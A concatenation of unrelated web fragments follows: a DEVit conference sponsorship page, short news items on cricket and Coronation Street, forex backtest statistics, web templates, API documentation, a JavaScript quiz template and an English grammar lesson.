You will have access to every level and specialty of web developer talent, frontend, backend, UI,UX, product, DevOps, all the disciplines and arts in one place at the same time. We also make sure to curate and select the most prom- ising students from Thessaloniki’s 120,000 student pool.
Increase brand awareness & recognition
Your brand and logo will be all over the conference signage, official website, youtube videos, and social media.
Highly targeted marketing opportunities
You will meet with the decision makers, the people who are responsible for proposing technological solutions to the problems large or small corporations have.
Media exposure & PR Announcements
DEVit being the prominent technological conference in the country has easier access to mass and specialized media. Our marketing campaign encompasses all local and international channels providing you unprecedented exposure.
Generate new partnerships, alliances & customers
DEVit is the meeting point for all high tech companies of the region, the stake- holders, the players, the CTOs the CEOs, everyone will be there in a positive, relaxed mood. The perfect scenery to contact new business partnerships, network and meet your customers in person.
All sponsors get:
Select the sponsorship package that best fits your needs
| Bronze €500 |
Silver €1,500 |
Gold €2,500 |
Platinum €4,500 |
|
| Total complimentary tickets: | 2 | 4 | 5 | 6 |
| Rollup banner in Royal Theater Lobby | ✓ | ✓ | ✓ | ✓ |
| Rollup banner in City College Lobby | ✓ | ✓ | ✓ | ✓ |
| Ability to share swag with the attendees | ✓ | ✓ | ✓ | ✓ |
| Rollup banner in Stage | ✘ | 3rd tier | 2nd tier | 1st tier |
| Booth tables for Talks day | ✘ | 1 table (2 m2) | 2 tables (4 m2) | 3 tables (6 m2) |
| Booth Rollup banner | ✘ | ✓ | ✓ or larger construction | ✓ or larger construction |
| Interview from DEVit staff, the final clip of the interview will be published on DEVit’s official YouTube channel “DEVit Conference” | ✘ | ✓ | ✓ | ✓ |
| Free promotional video during talk switch | ✘ | ✘ | ✘ | ✓ |
To cover your specific promotional goals we also offer Addon Packages that can complement you selected package.
Promotional Video During Talk Switch (2 slots)
Two slots available to play a promotional video between speakers switching back to back with each other without a break.
T-shirt Sponsorship (1 slot)
Position your branding on the official DEVit’s t-shirt all attendees will get.
Gift Bag Sponsorship (1 slot)
Be able to sponsor the whole gift bag itself.
Download our 2020 Sponsorship brochure to learn more on why to become a sponsor, who attends DEVit and what to expect from this year’s event.
We would love to hear from you ❤


--- layout: post title: Good mobile browsers are not enough date: 2006-02-13 00:00:00 categories: interfaces-&-interaction mobile ---
Good mobile browsers are not enough: "I think the mobile computing mentality is fooling everyone into thinking that phones are turning into PCs. Eh, that's not right. Yes, phones are turning into powerful computing platforms that can have rich applications - but those applications must be relevant to the way folks use their mobile."


§324-4 Penalty. Any person violating this part shall be guilty of a misdemeanor and fined not more than $500. [L 1963, c 109, §4; Supp, §48B-4; HRS §324-4]
Cross References
Classification of offense and authorized punishment, see §§701-107, 706-640, 663.


|
Gartner sees the maturation path of data-driven companies as moving from descriptive reports and queries that detail current conditions
to diagnostic analyses and visualizations that reveal why performance lagged in some areas and excelled in others.
The next step up is to predictive analytics that tell you where things are headed and finally on to prescriptive analytics that
guide decisions for optimum performance.
|
|
"Almost every big company is doing something with predictive analytics, but they have yet to take it mainstream.
It usually has something to do with customer churn, marketing campaign responsiveness, fraud detection or supply chain demand forecasting."
|
|
"Customers indicate that the user interface needs considerable updating to enable improved
fraud analyst productivity."
|
|
Insights into deep and broad data sets are easier to show with data visualization.
|


| Total net profit | -23.2 | Gross profit | 26.37 | Gross loss | -49.57 |
| Profit factor | 0.53 | Expected payoff | -0.46 | ||
| Absolute drawdown | -25.55 | Maximal drawdown (%) | 26.48 (2847.31%) | ||
| Total trades | 50 | Profit trades (% of total) | 21 (42.0%) | Loss trades (% of total) | 29 (58.0%) |
| Long positions (won %) | 21 (52.38%) | Short positions (won %) | 29 (34.48%) | ||
| Largest | profit trade | 4.32 | loss trade | -3.35 | |
| Average | profit trade | 1.26 | loss trade | -1.71 | |
| Minimum | profit trade | 0.0 | loss trade | -0.07 | |
| Maximum | take profit in pips | 43.5 | stop loss in pips | -36.4 | |
| Average | take profit in pips | 13.9 | stop loss in pips | -18.6 | |
| Minimum | take profit in pips | -1.0 | stop loss in pips | -4.9 | |
| Maximum | Reward-Risk | 3.9 | Duration in minutes | 1282 | |
| Average | Reward-Risk | 0.9 | Duration in minutes | 368.5 | |
| Minimum | Reward-Risk | 0.0 | Duration in minutes | 1 | |
| Maximum | consecutive wins (profit in money) | 4.0 (6.78) | consecutive losses (loss in money) | 10.0 (-15.35) | |
| Average | consecutive wins | 1.0 | consecutive losses | 2.0 |
| Total net profit | -7.61 | Gross profit | 12.64 | Gross loss | -20.25 |
| Profit factor | 0.62 | Expected payoff | -0.36 | ||
| Absolute drawdown | -14.36 | Maximal drawdown (%) | 13.35 (-1321.78%) | ||
| Total trades | 21 | Profit trades (% of total) | 11 (52.38%) | Loss trades (% of total) | 10 (52.38%) |
| Largest | profit trade | 4.32 | loss trade | -3.35 | |
| Average | profit trade | 1.15 | loss trade | -2.02 | |
| Minimum | profit trade | 0.0 | loss trade | -1.01 | |
| Maximum | take profit in pips | 43.5 | stop loss in pips | -36.2 | |
| Average | take profit in pips | 14.2 | stop loss in pips | -19.8 | |
| Minimum | take profit in pips | -0.1 | stop loss in pips | -8.3 | |
| Maximum | Reward-Risk | 3.9 | Duration in minutes | 1115.0 | |
| Average | Reward-Risk | 0.8 | Duration in minutes | 436.3 | |
| Minimum | Reward-Risk | 0.0 | Duration in minutes | 17.0 | |
| Maximum | consecutive wins (profit in money) | 4.0 (6.78) | consecutive losses (loss in money) | 6.0 (-12.14) | |
| Average | consecutive wins | 2.0 | consecutive losses | 2.0 |
| Total net profit | -15.59 | Gross profit | 13.73 | Gross loss | -29.32 |
| Profit factor | 0.47 | Expected payoff | -0.54 | ||
| Absolute drawdown | -15.59 | Maximal drawdown (%) | 16.88 (1308.53%) | ||
| Total trades | 29 | Profit trades (% of total) | 10 (34.48%) | Loss trades (% of total) | 19 (65.52%) |
| Largest | profit trade | 2.56 | loss trade | -2.98 | |
| Average | profit trade | 1.37 | loss trade | -1.54 | |
| Minimum | profit trade | 0.66 | loss trade | -0.07 | |
| Maximum | take profit in pips | 37.0 | stop loss in pips | -36.4 | |
| Average | take profit in pips | 13.6 | stop loss in pips | -17.7 | |
| Minimum | take profit in pips | -1.0 | stop loss in pips | -4.9 | |
| Maximum | Reward-Risk | 2.6 | Duration in minutes | 1282.0 | |
| Average | Reward-Risk | 1.0 | Duration in minutes | 319.4 | |
| Minimum | Reward-Risk | Duration in minutes | 1.0 | ||
| Maximum | consecutive wins (profit in money) | 2.0 (2.35) | consecutive losses (loss in money) | 7.0 (-10.27) | |
| Average | consecutive wins | 1.0 | consecutive losses | 2.0 |


{% block body %}
DigiCert
{% if current_user.is_authenticated %}
{{ current_user.user }}
Profile
Logout
Update Profile
Issue Certificates
{% else %}
Login
Sign Up
{% endif %}
{% block content %}
Verify Your Credentials
Card title
Some quick example text to build on the card title
Another link
Card title
Some quick example text to build on the card title
Another link
Card title
Some quick example text to build on the card title
Another link
{% endblock %}
{% endblock body %}


This constructor is an implementation detail. Do not use this.
Adds the component provided to the end of the layout. The newly added component becomes the selected component.
Duplicates the currently selected component. The copy gets placed right after the selected component and becomes the newly selected component.
Encodes the layout's state as JSON based on the timer provided. You can use this to visualize all of the components of a layout, while it is still being edited by the Layout Editor.
Moves the selected component to the index provided. You may not provide an invalid index.
Moves the selected component down, unless the last component is selected.
Moves the selected component up, unless the first component is selected.
Removes the currently selected component, unless there's only one component in the layout. The next component becomes the selected component. If there's none, the previous component becomes the selected component instead.
Selects the component with the given index in order to modify its settings. Only a single component is selected at any given time. You may not provide an invalid index.
Sets a setting's value of the selected component by its setting index to the given value.
This panics if the type of the value to be set is not compatible with the type of the setting's value. A panic can also occur if the index of the setting provided is out of bounds.
Sets a setting's value of the general settings by its setting index to the given value.
This panics if the type of the value to be set is not compatible with the type of the setting's value. A panic can also occur if the index of the setting provided is out of bounds.
Encodes the Layout Editor's state as JSON in order to visualize it.
Generated using TypeDoc
The Layout Editor allows modifying Layouts while ensuring all the different invariants of the Layout objects are upheld no matter what kind of operations are being applied. It provides the current state of the editor as state objects that can be visualized by any kind of User Interface.


The two main sources of data are:
Names come from both sources of data, but only the coversheets from activity reports (Form LA) have detailed information about names like first/last.
The information for lobbying interests come from the registration forms (Form REG). This information is all entered by hand and will be very hard to use without scrubbing.
You can see known data issues at GitHub.
Stories from The Texas Tribune about lobbying: Tribpedia: Lobbying.


Wouldn't it be swell if you could notify a user with an important message even if the browser isn't currently in use? Drumroll please: enter the Web Notifications API!
Here are some examples
How does it work?
To send notifications from a page you have to call requestPermission()
first. This will make the browser bar pop up. After you've
requested permission you can check if you have been granted permissions to send notifications by calling checkPermission()
.
After the initial bootstrapping, you can create a notification with createNotification(icon, title, content)
. You can even
attach callbacks, for instance when the notification is shown or when it's dismissed by the user. To show the notification, you
call show()
on the created notification object.
Useful?
We'd say so! We love the fact that you now have the ability to notify a user, even when your application isn't in the topmost window. The user still has to open your page for it to work, but even if it's in the background, the notifications will pop up.
Here are some more practical applications:
- Message notification during online chat
- Notify a user that there is a new mail
- Get notifications of server status, if for instance your server is going haywire
- Notify online shoppers after 20 minutes that they have added things to their cart but not checked out yet
Great, but can I use it today?
These examples currently work in Chrome and should work in Safari on Mountain Lion, but Mozilla is working on notifications too. The spec is still being drafted and is subject to change. The only version that's currently usable is actually based on an outdated spec.
Show me the source!
Feel free to look around the differente source files we used for this example.


DoubleTreeJS
Visualization Home
Query
Word to use / or choose from history:
/
Query options
Context:
Full
context
Include only
POS:
Exclude all
POS:
Filters:
Limit
first left
POS to:
Limit
first right
POS to:
Exclude punctuation
Result options
Sort branches by:
token
POS
branching
Show POS
ALT+CLICK a node to center it.
Reset display
SHIFT+CLICK a node to get a KWIC view below.


Afghan Cricket Team Beats West Indies to Clinch T20 Series
Rahmanullah Gurbaz hit 79 off 52 balls as Afghanistan posted 156 for eight—West Indies team 127/7.
by TOLOnews.comAfghanistan’s national cricket team beat West Indies in the 3rd Twenty20 international on Sunday to clinch the series.
The final match was held at Ekana Cricket Stadium in Lucknow, India—where Afghanistan teenage opener Rahmanullah Gurbaz hit an attacking half-century to set up Afghanistan's 29-run series-clinching win over the West Indies in the third and last T20I match on Sunday.

Afghanistan 156 for 8 (Gurbaz 79, Asghar 24, Paul 2-26) beat West Indies 127 for 7 (Hope 52, Lewis 24, Naveen 3-24) by 29 runs.
Afghanistan won the series 2-1 after losing the opening game. Previously, West Indies beat Afghanistan 3-0 in three one-day games before the T20 series.
Afghanistan’s paceman Naveen-ul-Haq took three wickets to obstruct the West Indies' chase despite a valiant 52 by wicketkeeper-batsman Shai Hope.
Gurbaz was named man of the match. He smashed six fours and five sixes for his team before falling to West Indies captain Kieron Pollard.
The two teams will next play a one-off Test starting November 27.


Coronation Street fans stunned as Gary Windass detective appears on Question Time
Coronation Street fans spotted a familiar face on Question Time on Friday evening, as Kate Rutter made an appearance
by Irishmirror.ieThe BBC Question Time election debate special saw an unexpected familiar face on Friday.
As audience members grilled prime minister Boris Johnson , Labour leader Jeremy Corbyn and others over their party manifestos, one person sat in the crowd was immediately recognised by fans.
As Jo Swinson took to the podium and asked for questions, Corrie fans spotted the detective involved in the factory roof collapse and Rick Neelan's vanishing act was in the audience.
DS Beckett actress Kate Rutter had a question too, asking the politician about poverty and if she regretted voting with the Conservatives.
She received applause from the crowd with her question, with Jo then providing her with an answer.
As soon as they realised why they recognised her, fans took to Twitter with Corrie airing at the same time as the moment on Question Time.
One viewer joked: "She wants to know if Jo Swinson was responsible for the Underworld roof sabotage they have all conveniently forgotten about."
Another said: "Why was a policewoman off Coronation Street asking Jo Swindon a question?"
A third added: "From arresting Carla Connor to grilling Jo Swinson on benefits, this is one busy detective."
Meanwhile a fourth fan asked: "Isn’t she the police detective in #corrie ."
The actress hasn't been in Weatherfield for a while, last seen grilling Gary Windass once more.
Viewers may have recognised her from other roles too on the same soap, as Kate has played three roles in total including her latest part as the detective.
Viewers may know her from her former role on the show back in January 2014.
While it was only a brief role, she certainly made an impact as she featured in some huge and highly emotional scenes.
Kate played celebrant Susie Forrester, who met with a dying Hayley Cropper to discuss her funeral.
Kate also played another brief role back in 1996, when she played solicitor Jo Marsh whose client was Liz McDonald, with Liz asking her to help her get a divorce from criminal husband Jim.
Coronation Street airs Mondays, Wednesdays and Fridays at 7:30pm and 8:30pm on ITV.


{% load sort_version %}
{% load permutations %}
{% load utilities %}
| Total Installations | {{ total_port_installations_count.submission__user_id__count }} |
|---|---|
| Requested Installations | {{ requested_port_installations_count.submission__user_id__count }} |
| Most Installed Version | {% most_installed_version port_installations_by_port_version %} |
| Variants | Count |
|---|---|
| {{ i.variants }} | {{ i.num }} |
Try changing the range of days. Alternatively visit statistics page to have an overall look at the submitted statistics.


Given the following function definitions:
var curry = function (f) { return function (x) { return function (y) { return f(x,y); }; }; }; var compose = function (f,g) { return function (x) { return f(g(x)); }; }; functionDef
what is the value of the following function call?
functionCall
Note that, if the function call generates an exception, the
correct answer is the word "error" (without the double
quotes) in all lowercase letters. Otherwise, the answer may
be an integer or one of the Boolean
constants true
or false.
You may need a calculator for this problem.
The correct answer is: answer


Unit 9
Grammar
assignment
Verbs + Prepositions
face
There are individual exercises in this section.
(Also see Grammar exercise Unit 4)
Some verbs and preposition combinations create very particular and specific meanings.  Review
the sentences below:
Cut by 50% the number of people who live on less than $1 a day.
Cut by two thirds the number of children who die from
preventable causes.
Try to reverse the incidence of HIV/AIDS, malaria and other
diseases.
Reduce by 50% the number of people without access to safe drinking
water.
These sentences have indirect objects.
Cut by 50% the number of people who live on less than $1 a day.
Reduce by 50% the number of people without access to safe drinking
water.
Because the sentences have indirect objects, the two-word verbs are separable (see unit 4 for
explanation and review). This means the indirect object can have two possible positions; we could also
write the above sentences this way:
Cut the number of people who live on less than $1 a day
by half.
Reduce the number of people without safe drinking water
by 50%.
Note: We cannot separate the verbs and prepositions die from and try to because they cannot
take indirect objects.
Action through Words
Learning English, Learning About the United Nations


{% extends "layout.html" %} {% block content %}
MyCPI computes a CPI score personalized to an individual/household based on their spending in standard categories
Team Members: